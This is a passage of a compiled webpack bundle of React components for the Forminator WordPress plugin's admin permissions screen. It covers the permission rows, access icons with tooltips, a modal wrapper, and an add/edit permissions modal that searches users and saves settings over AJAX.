var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _permissionIcon = __webpack_require__(821);

var _permissionIcon2 = _interopRequireDefault(_permissionIcon);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* jshint esversion: 6 */


var PermissionItem = function (_Component) {
	_inherits(PermissionItem, _Component);

	function PermissionItem(props) {
		_classCallCheck(this, PermissionItem);

		var _this = _possibleConstructorReturn(this, (PermissionItem.__proto__ || Object.getPrototypeOf(PermissionItem)).call(this, props));

		_this.permissionMenu = _react2.default.createRef();
		_this.showModal = _this.showModal.bind(_this);
		_this.deleteModal = _this.deleteModal.bind(_this);
		return _this;
	}

	_createClass(PermissionItem, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.$permission = jQuery(this.permissionMenu.current);

			this.$permission.on('click', function (e) {
				e.preventDefault();
				e.stopPropagation();

				jQuery('.fp-permission-actions .permission-menu').not(this).parent('.sui-dropdown.open').removeClass('open');
				jQuery(this).parent().toggleClass('open');
			});

			this.$permission.on('mouseout', function (e) {
				jQuery(this).trigger('blur');
			});

			// Remove this when more Forminator menu items are added in the future to enable accordion.
			var count = 0;
			this.accordionTimeout(count);
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.$permission.off();
		}

		/*
   * Removes the click event on sui-accordion until SUI has initialized.
   * This was added because SUI has no trigger event
   * when it has finished initializing that we could have used.
  */

	}, {
		key: 'accordionTimeout',
		value: function accordionTimeout(count) {
			var self = this;

			setTimeout(function () {
				jQuery('.forminator-permissions-table.sui-accordion').off('click');

				if (count < 10) {
					self.accordionTimeout(count);
				}
				count++;
			}, 200);
		}
	}, {
		key: 'showModal',
		value: function showModal() {
			var modalActions = this.props.actions.modalActions;
			var userIds = this.props.specific_user;

			modalActions.showModal(_extends({}, this.props, userIds && { currentUser: this.props.user_info[userIds[0]] }, {
				open: true,
				closeModal: function closeModal() {
					modalActions.showModal({
						open: false
					}, 'permissions');
				}
			}), 'permissions');
		}
	}, {
		key: 'deleteModal',
		value: function deleteModal() {
			var modalActions = this.props.actions.modalActions;

			modalActions.showModal(_extends({}, this.props, {
				open: true,
				closeModal: function closeModal() {
					modalActions.showModal({
						open: false
					}, 'permissionDelete');
				}
			}), 'permissionDelete');
		}
	}, {
		key: 'render',
		value: function render() {
			var prop = this.props;
			var isAdmin = prop.isAdmin;
			var tooltipWidth = { "--tooltip-width": "220px" };
			var accessList = ['manage_forminator_modules', 'manage_forminator_submissions', 'manage_forminator_addons', 'manage_forminator_integrations', 'manage_forminator_reports', 'manage_forminator_settings'];

			var roleImage = _react2.default.createElement('span', { className: 'sui-icon-community-people sui-md', 'aria-hidden': 'true' });
			var roleName = (0, _utils.translate)('Administrator');
			var roleDesc = (0, _utils.translate)('All');
			var itemName = '';

			// Set the role/user info.
			if (!isAdmin) {
				if ('role' === prop.permission_type) {
					var countExcluded = prop.exclude_users.length;

					roleName = forminatorData.userRoles[prop.user_role].name;
					roleDesc += 0 !== countExcluded ? (0, _utils.translate)(' except ') + countExcluded : '';
				} else {
					var users = prop.specific_user;
					var tooltipText = '';
					roleImage = _react2.default.createElement('img', { src: prop.avatar, width: '30', height: '30' });

					// If there are more than 1 chosen.
					if (users.length > 1) {
						roleName = prop.user_info[users[0]].name;
						roleName += ' +' + (users.length - 1) + ' ';
						roleName += (0, _utils.translate)('more');

						roleDesc = users.length + (0, _utils.translate)(' users');

						// Create tooltip text.
						var counter = 0;
						_.map(prop.user_info, function (info, userId) {
							counter++;
							tooltipText += info.name + ' - ' + '(' + info.email + ')';

							if (counter < users.length) {
								tooltipText += ', \n';
							}
						});

						itemName = _react2.default.createElement(
							'span',
							{
								className: 'sui-tooltip sui-tooltip-constrained sui-tooltip-right',
								style: tooltipWidth,
								'data-tooltip': tooltipText
							},
							_react2.default.createElement(
								'span',
								{ className: 'fp-item-name' },
								roleName
							)
						);
					} else {
						if (prop.user_info) {
							roleName = prop.user_info[users[0]].name;
						}
						roleDesc = prop.user_info[users[0]].email;
					}
				}
			}

			// Set item name here for no tooltips.
			if ('' === itemName) {
				itemName = _react2.default.createElement(
					'span',
					{ className: 'fp-item-name' },
					roleName
				);
			}

			return _react2.default.createElement(
				'tr',
				null,
				_react2.default.createElement(
					'td',
					{ colSpan: 4, className: ' fp-role-head' },
					_react2.default.createElement(
						'div',
						{ className: 'fp-role-box' },
						_react2.default.createElement(
							'div',
							{ className: 'fp-role-img' },
							roleImage
						),
						_react2.default.createElement(
							'div',
							{ className: 'fp-role-info' },
							itemName,
							_react2.default.createElement(
								'span',
								{ className: 'fp-item-subtitle' },
								roleDesc
							)
						)
					)
				),
				_.map(accessList, function (access, x) {
					return _react2.default.createElement(_permissionIcon2.default, _extends({ key: x }, prop, { access: access }));
				}),
				_react2.default.createElement(
					'td',
					{ colSpan: 1, className: 'fp-permission-actions' },
					!isAdmin && _react2.default.createElement(
						'div',
						{ className: 'fui-field--actions' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-dropdown' },
							_react2.default.createElement(
								'button',
								{ ref: this.permissionMenu, className: 'permission-menu sui-button-icon sui-dropdown-anchor' },
								_react2.default.createElement('span', { className: 'sui-icon-widget-settings-config', 'aria-hidden': 'true' }),
								_react2.default.createElement(
									'span',
									{ className: 'sui-screen-reader-text' },
									(0, _utils.translate)('Permission options')
								)
							),
							_react2.default.createElement(
								'ul',
								null,
								_react2.default.createElement(
									'li',
									null,
									_react2.default.createElement(
										'button',
										{
											className: 'forminator-field-edit',
											onClick: this.showModal
										},
										_react2.default.createElement('span', { className: 'sui-icon-widget-settings-config', 'aria-hidden': 'true' }),
										(0, _utils.translate)('Edit')
									)
								),
								_react2.default.createElement(
									'li',
									null,
									_react2.default.createElement(
										'button',
										{
											className: 'forminator-field-remove sui-option-red',
											onClick: this.deleteModal
										},
										_react2.default.createElement('span', { className: 'sui-icon-trash', 'aria-hidden': 'true' }),
										(0, _utils.translate)('Delete')
									)
								)
							)
						)
					)
				)
			);
		}
	}]);

	return PermissionItem;
}(_react.Component);

exports.default = PermissionItem;

/***/ }),
/* 821 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* jshint esversion: 6 */


var PermissionIcon = function (_Component) {
	_inherits(PermissionIcon, _Component);

	function PermissionIcon(props) {
		_classCallCheck(this, PermissionIcon);

		return _possibleConstructorReturn(this, (PermissionIcon.__proto__ || Object.getPrototypeOf(PermissionIcon)).call(this, props));
	}

	_createClass(PermissionIcon, [{
		key: 'render',
		value: function render() {
			var prop = this.props;
			var isAdmin = prop.isAdmin;
			var tooltipWidth = { "--tooltip-width": "220px" };

			var icon = void 0,
			    tooltipText = void 0;
			if (isAdmin || (0, _utils.isTrue)(prop[prop.access])) {
				icon = 'sui-icon-check';
				tooltipText = (0, _utils.translate)('Can');
			} else {
				icon = 'sui-icon-lock';
				tooltipText = (0, _utils.translate)("Can't");
			}

			// Add space.
			tooltipText += ' ';

			// Set the tooltip text for each access.
			switch (prop.access) {
				case 'manage_forminator_modules':
					tooltipText += (0, _utils.translate)('create, edit, and delete modules (Forms, Polls, and Quizzes).');

					break;
				case 'manage_forminator_submissions':
					tooltipText += (0, _utils.translate)('view and delete submissions.');

					break;
				case 'manage_forminator_addons':
					tooltipText += (0, _utils.translate)('configure add-ons.');

					break;
				case 'manage_forminator_integrations':
					tooltipText += (0, _utils.translate)('configure integrations.');

					break;
				case 'manage_forminator_reports':
					tooltipText += (0, _utils.translate)('configure reports.');

					break;
				case 'manage_forminator_settings':
					if (isAdmin) {
						tooltipText += (0, _utils.translate)('configure all settings.');
					} else if (!(0, _utils.isTrue)(prop[prop.access])) {
						tooltipText += (0, _utils.translate)('configure settings.');
					} else {
						tooltipText += (0, _utils.translate)('configure settings except permissions.');
					}

					break;
			}

			return _react2.default.createElement(
				'td',
				{ colSpan: 2, className: 'fp-item-col' },
				_react2.default.createElement(
					'span',
					{
						className: 'sui-tooltip sui-tooltip-constrained',
						style: tooltipWidth,
						'data-tooltip': tooltipText
					},
					_react2.default.createElement('span', { className: icon + ' sui-sm', 'aria-hidden': 'true' })
				)
			);
		}
	}]);

	return PermissionIcon;
}(_react.Component);

exports.default = PermissionIcon;

/***/ }),
/* 822 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _reactRedux = __webpack_require__(13);

var _redux = __webpack_require__(11);

var _modal = __webpack_require__(823);

var _modal2 = _interopRequireDefault(_modal);

var _modal3 = __webpack_require__(401);

var modalActions = _interopRequireWildcard(_modal3);

var _permissions = __webpack_require__(402);

var permissionActions = _interopRequireWildcard(_permissions);

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function mapStateToProps(state) {
	return {
		permissions: state.permissions || {},
		modal: state.modal
	};
}

function mapDispatchToProps(dispatch) {
	return {
		actions: {
			permissionActions: (0, _redux.bindActionCreators)(permissionActions, dispatch),
			modalActions: (0, _redux.bindActionCreators)(modalActions, dispatch)
		}
	};
}

exports.default = (0, _reactRedux.connect)(mapStateToProps, mapDispatchToProps)(_modal2.default);

/***/ }),
/* 823 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _reactDom = __webpack_require__(23);

var _reactDom2 = _interopRequireDefault(_reactDom);

var _index = __webpack_require__(824);

var _index2 = _interopRequireDefault(_index);

var _reactDisplace = __webpack_require__(182);

var _reactDisplace2 = _interopRequireDefault(_reactDisplace);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
// import FocusTrap from './modals/partials/focus-trap';


var MODAL_TYPES = {
	permissions: _index2.default.permissionsModal,
	permissionDelete: _index2.default.permissionDeleteModal
};

/* global setTimeout,clearTimeout */

var Modal = function (_Component) {
	_inherits(Modal, _Component);

	function Modal(props) {
		_classCallCheck(this, Modal);

		return _possibleConstructorReturn(this, (Modal.__proto__ || Object.getPrototypeOf(Modal)).call(this, props));
	}

	_createClass(Modal, [{
		key: 'componentDidUpdate',
		value: function componentDidUpdate(prevProps) {
			var _this2 = this;

			this.$el = jQuery(this.el);
			var self = this;

			if (!_.isEmpty(prevProps.modal) /* && ! _.isNull( this.props.modal.modalType ) */) {
					if (prevProps.modal.modalProps.open !== this.props.modal.modalProps.open) {
						var modalElement = _reactDom2.default.findDOMNode(this);

						if (this.props.modal.modalProps.open) {
							this.focusAfterClosed = this.props.modal.modalProps.activeElement;

							var focusFirst = this.props.modal.modalProps.focusFirst;

							setTimeout(function () {
								if ('string' === typeof focusFirst) {
									self.focusFirst = self.$el.find(focusFirst);
								} else if ('object' === (typeof focusFirst === 'undefined' ? 'undefined' : _typeof(focusFirst))) {
									self.focusFirst = focusFirst;
								} else {
									self.focusFirst = null;
								}

								if (self.focusFirst && self.focusFirst.length) {
									self.setFocus(self.focusFirst.first());
								}
							}, 320);

							jQuery('#wpwrap').attr('aria-hidden', 'true');
						}

						if (!this.props.modal.modalProps.open) {
							jQuery('#wpwrap').attr('aria-hidden', 'false');

							setTimeout(function () {
								self.setFocus(self.focusAfterClosed);
							}, 320);

							this.hideModalTimeout = setTimeout(function () {
								modalElement.setAttribute('aria-hidden', 'true');
								// cleanup
								_this2.props.modal.modalType = null;
								_this2.forceUpdate();
							}, 300);
						} else {
							modalElement.removeAttribute('aria-hidden');
						}
					}
				}
		}
	}, {
		key: 'setFocus',
		value: function setFocus(element) {
			var focusInterval = 10; // ms, time between function calls
			var focusTotalRepetitions = 10; // number of repetitions

			if (typeof element === 'undefined') {
				return;
			}

			element.attr('tabindex', '0');
			element.blur();

			var focusRepetitions = 0;
			var interval = window.setInterval(function () {
				element.focus();
				focusRepetitions++;

				if (focusRepetitions >= focusTotalRepetitions) {
					window.clearInterval(interval);
				}
			}, focusInterval);
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			clearTimeout(this.hideModalTimeout);
		}
	}, {
		key: 'render',
		value: function render() {
			var _this3 = this;

			if (_.isUndefined(this.props.modal) || _.isUndefined(this.props.modal.modalProps) || _.isNull(this.props.modal.modalType)) {
				return null;
			}

			var modalClass = 'sui-modal-lg';
			var overlayClass = ['sui-modal-content', 'sui-content-fade-in'];
			if (!this.props.modal.modalProps.open) {
				overlayClass = ['sui-modal-content', 'sui-content-fade-out'];
			}

			var modalType = this.props.modal.modalType;
			var SpecifiedModal = MODAL_TYPES[modalType];

			if ('publish' === modalType) {
				modalClass = 'sui-modal-sm fui-dialog-publish';
			}

			if ('shortcode' === modalType) {
				modalClass = 'sui-modal-sm fui-dialog-publish';
			}

			var smModalType = ['permissionDelete'];
			if (smModalType.includes(modalType)) {
				modalClass = 'sui-modal-sm';
			}

			if (!_.isUndefined(this.props.modal.modalProps) && !_.isUndefined(this.props.modal.modalProps.field) && !_.isUndefined(this.props.modal.modalProps.field.type)) {
				var fieldType = this.props.modal.modalProps.field.type;

				if (fieldType === 'radio' || fieldType === 'checkbox' || fieldType === 'select') {
					modalClass += ' multivalue-modal';
				} else {
					modalClass += ' ' + this.props.modal.modalProps.field.type + '-modal';
				}
			}

			var classes = jQuery('.sui-color-accessible').length ? 'sui-wrap sui-color-accessible' : 'sui-wrap';

			return _react2.default.createElement(
				'div',
				{ className: classes },
				_react2.default.createElement(
					'div',
					{ id: 'forminator-modal', className: 'sui-modal sui-active ' + modalClass + ' ' + modalType },
					_react2.default.createElement(
						'div',
						_extends({
							role: 'dialog',
							id: 'modal-' + this.props.modal.modalProps.id,
							className: '' + overlayClass.join(' '),
							'aria-modal': 'true',
							'aria-live': 'polite'
						}, this.props.modal.modalProps.labelledBy && { 'aria-labelledby': this.props.modal.modalProps.labelledBy }, this.props.modal.modalProps.describedBy && { 'aria-describedby': this.props.modal.modalProps.describedBy }, {
							ref: function ref(el) {
								return _this3.el = el;
							}
						}),
						_react2.default.createElement(
							'div',
							{ className: 'sui-box', style: { marginBottom: 0 } },
							_react2.default.createElement(SpecifiedModal, this.props)
						)
					)
				)
			);
		}
	}]);

	return Modal;
}(_react.Component);

var DisplacedModal = (0, _reactDisplace2.default)(Modal);

DisplacedModal.renderTo = function (input) {
	return (0, _reactDisplace2.default)(Modal, { renderTo: input });
};

module.exports = DisplacedModal;

/***/ }),
/* 824 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _permissions = __webpack_require__(825);

var _permissions2 = _interopRequireDefault(_permissions);

var _permissionDelete = __webpack_require__(826);

var _permissionDelete2 = _interopRequireDefault(_permissionDelete);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

var modalTypes = {
	permissionsModal: _permissions2.default,
	permissionDeleteModal: _permissionDelete2.default
};

exports.default = modalTypes;

/***/ }),
/* 825 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _axios = __webpack_require__(39);

var _axios2 = _interopRequireDefault(_axios);

var _qs = __webpack_require__(40);

var _qs2 = _interopRequireDefault(_qs);

var _utils = __webpack_require__(1);

var _notifications = __webpack_require__(30);

var _notifications2 = _interopRequireDefault(_notifications);

var _header = __webpack_require__(64);

var _header2 = _interopRequireDefault(_header);

var _title = __webpack_require__(66);

var _title2 = _interopRequireDefault(_title);

var _footer = __webpack_require__(87);

var _footer2 = _interopRequireDefault(_footer);

var _close = __webpack_require__(65);

var _close2 = _interopRequireDefault(_close);

var _radioTabs = __webpack_require__(7);

var _radioTabs2 = _interopRequireDefault(_radioTabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _suiSelect = __webpack_require__(20);

var _suiSelect2 = _interopRequireDefault(_suiSelect);

var _suiTags = __webpack_require__(300);

var _suiTags2 = _interopRequireDefault(_suiTags);

var _checkbox = __webpack_require__(41);

var _checkbox2 = _interopRequireDefault(_checkbox);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }

function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var permissionsModal = function (_Component) {
	_inherits(permissionsModal, _Component);

	function permissionsModal(props) {
		_classCallCheck(this, permissionsModal);

		var _this = _possibleConstructorReturn(this, (permissionsModal.__proto__ || Object.getPrototypeOf(permissionsModal)).call(this, props));

		_this.saveBtn = _react2.default.createRef();
		_this.closeModal = _this.props.modal.modalProps.closeModal.bind(_this);
		_this.updateProperty = _this.updateProperty.bind(_this);
		_this.savePermission = _this.savePermission.bind(_this);
		_this.validator = _this.validator.bind(_this);
		_this.showNotification = _this.showNotification.bind(_this);

		_this.updated = false;
		_this.modalData = Object.assign({}, _this.props.modal.modalProps);
		_this.userRoles = _this.getUserRoles(Object.assign({}, forminatorData.userRoles));
		_this.defaultRole = Object.keys(_this.userRoles)[0];

		var defaultType = _.isEmpty(_this.userRoles) ? 'specific' : 'role';

		// For all additional access in the future,
		// make sure to add it also in the validator in render.
		_this.state = {
			pid: _this.modalData.pid || '',
			permission_type: _this.modalData.permission_type || defaultType,
			user_role: _this.modalData.user_role || _this.defaultRole,
			exclude_users: _this.modalData.exclude_users || [],
			specific_user: _this.modalData.specific_user || [],
			avatar: _this.modalData.avatar || '',
			user_info: _this.modalData.user_info || [],
			manage_forminator_modules: _this.modalData.manage_forminator_modules || false,
			manage_forminator_submissions: _this.modalData.manage_forminator_submissions || false,
			manage_forminator_addons: _this.modalData.manage_forminator_addons || false,
			manage_forminator_integrations: _this.modalData.manage_forminator_integrations || false,
			manage_forminator_reports: _this.modalData.manage_forminator_reports || false,
			manage_forminator_settings: _this.modalData.manage_forminator_settings || false,
			current_user: _this.modalData.currentUser || []
		};
		return _this;
	}

	_createClass(permissionsModal, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.$saveBtn = jQuery(this.saveBtn.current);
		}
	}, {
		key: 'componentDidUpdate',
		value: function componentDidUpdate(prevProps, prevState) {
			if (JSON.stringify(this.state) !== JSON.stringify(prevState)) {
				this.updated = true;
			} else {
				this.updated = false;
			}
		}
	}, {
		key: 'componentWillUnmount',
		value: function componentWillUnmount() {
			this.$saveBtn.off;
		}

		// Remove user roles that were already set.

	}, {
		key: 'getUserRoles',
		value: function getUserRoles(userRoles) {
			var self = this;

			// Remove admin first.
			delete userRoles['administrator'];

			_.forEach(userRoles, function (val, role) {
				if (!_.isUndefined(_.find(self.props.permissions, function (p) {
					return p.user_role === role;
				}))) {
					if (!self.modalData.new && role !== self.modalData.user_role || self.modalData.new) {
						delete userRoles[role];
					}
				}
			});

			return userRoles;
		}

		// Make it possible to update state from child components

	}, {
		key: 'updateProperty',
		value: function updateProperty(slug, value) {
			this.setState(_defineProperty({}, slug, value));
		}
	}, {
		key: 'getUserTagsOptions',
		value: function getUserTagsOptions($property) {
			var _this2 = this;

			var searchData = function searchData(params) {
				var args = {
					action: 'forminator_builder_search_emails',
					_wpnonce: forminatorData.searchNonce,
					exclude_admins: true,
					q: params.term,
					permission: 'forminator-settings',
					pid: _this2.state.pid,
					property: $property,
					is_permission: true
				};

				// Search users from chosen role.
				if ('role' === _this2.state.permission_type) {
					args.role = _this2.state.user_role;
				}

				return args;
			};

			return {
				tags: false,
				minimumInputLength: 1,
				tokenSeparators: [',', ' '],
				placeholder: (0, _utils.translate)('Click to search a user…'),
				language: {
					searching: function searching() {
						return (0, _utils.translate)('Searching');
					},
					noResults: function noResults() {
						return (0, _utils.translate)('User not found');
					}
				},
				ajax: {
					url: forminatorData.ajaxUrl,
					type: 'POST',
					delay: 150,
					data: function data(params) {
						return searchData(params);
					},
					processResults: function processResults(data) {
						return {
							results: data.data
						};
					},
					cache: true
				},
				templateResult: function templateResult(result) {
					if (!_.isUndefined(result.id) && !_.isUndefined(result.text) && !_.isUndefined(result.display_name)) {
						return jQuery('<span>' + result.display_name + ' ' + '(' + result.text + ')' + '</span>');
					}

					return result.text;
				},
				createTag: function createTag(params) {
					var term = params.term.trim();
					if (!(0, _utils.isEmailWp)(term)) {
						return null;
					}
					return {
						id: term,
						text: term
					};
				}
			};
		}
	}, {
		key: 'showNotification',
		value: function showNotification(type, msg) {
			var custom = new _notifications2.default({
				type: type,
				text: 'error' === type ? (0, _utils.translate)('Something went wrong. Please try again.') : msg
			});

			custom.open();

			if ('error' === type) {
				console.log(msg);
			}

			this.closeModal();
		}
	}, {
		key: 'savePermission',
		value: function savePermission() {
			var _this3 = this;

			// If no updates were made, just close the modal.
			if (!(0, _utils.isTrue)(this.modalData.new) && !this.updated) {
				this.closeModal();
				return;
			}

			// Apply onload class.
			this.$saveBtn.addClass('sui-button-onload');
			this.$saveBtn.prop('disabled', true);

			var permission = Object.assign({}, this.state);
			var newState = void 0;
			var permissionsData = {
				action: 'forminator_save_permissions',
				_wpnonce: forminatorData.permission_nonce
			};

			// Delete unnecessary data.
			if ('role' === permission.permission_type) {
				delete permission.specific_user;
			} else {
				delete permission.user_role;
				delete permission.exclude_users;
			}

			// We have a new permission, insert new one.
			if (this.modalData.new) {
				permissionsData.mode = 'new';

				// Add permission ID.
				permission.pid = 'pid-' + (0, _utils.randNumber)() + '-' + (0, _utils.randNumber)();

				newState = [].concat(_toConsumableArray(this.props.permissions), [permission]);

				// Replace edited permission.
			} else {
				permissionsData.mode = 'edit';
				permissionsData.pid = permission.pid;

				newState = this.props.permissions;
				var currentPermission = _.findIndex(newState, function (p) {
					return p.pid === permission.pid;
				});

				newState.splice(currentPermission, 1, permission);
			}

			permissionsData.permissions = JSON.stringify(newState);

			_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(permissionsData)).then(function (data) {
				var notifType = void 0,
				    notifMessage = void 0;

				if (data.data.success) {
					_this3.props.actions.permissionActions.updatePermissions(data.data.data);

					notifType = 'success';
					notifMessage = _this3.modalData.new ? (0, _utils.translate)('New permission added successfully!') : (0, _utils.translate)('Permission updated successfully!');
				} else {
					notifType = 'error';
					notifMessage = data.data;
				}

				_this3.showNotification(notifType, notifMessage);
			}).catch(function (err) {
				_this3.showNotification('error', err);
			}).then(function () {
				// Close modal
				_this3.closeModal();
			});
		}

		// Validate modal.

	}, {
		key: 'validator',
		value: function validator() {
			var state = this.state;
			var isValid = false,
			    validationError = [],
			    isTypeValid = false,
			    isAccessValid = false;

			// Check if role or user is selected.
			if ('specific' === state.permission_type && _.isEmpty(state.specific_user)) {

				isTypeValid = false;
				validationError.push((0, _utils.translate)('no user selected'));
			} else if ('role' === state.permission_type && _.isEmpty(state.user_role)) {

				isTypeValid = false;
				validationError.push((0, _utils.translate)('no role selected'));
			} else {
				isTypeValid = true;
			}

			// Check if all access are unchecked.
			if (!(0, _utils.isTrue)(state.manage_forminator_modules) && !(0, _utils.isTrue)(state.manage_forminator_submissions) && !(0, _utils.isTrue)(state.manage_forminator_addons) && !(0, _utils.isTrue)(state.manage_forminator_integrations) && !(0, _utils.isTrue)(state.manage_forminator_reports) && !(0, _utils.isTrue)(state.manage_forminator_settings)) {
				isAccessValid = false;
				validationError.push((0, _utils.translate)('no permissions checked'));
			} else {
				isAccessValid = true;
			}

			if (isTypeValid && isAccessValid) {
				isValid = true;

				if (!_.isUndefined(this.$saveBtn)) {
					this.$saveBtn.parent('.btn-save-wrap').removeClass('sui-tooltip');
					this.$saveBtn.prop('disabled', false);
				}
			} else {
				isValid = false;
				validationError = validationError.join(', ');

				if (!_.isUndefined(this.$saveBtn)) {
					this.$saveBtn.parent('.btn-save-wrap').addClass('sui-tooltip');
					this.$saveBtn.prop('disabled', true);
				}
			}

			return {
				isValid: isValid,
				validationError: validationError
			};
		}
	}, {
		key: 'render',
		value: function render() {
			var titleTag = '',
			    editNotice = '',
			    saveBtn = (0, _utils.translate)('Add Permissions');

			var isNew = (0, _utils.isTrue)(this.modalData.new);
			var modalTitle = (0, _utils.translate)(isNew ? 'Add Permissions' : 'Edit Permissions');
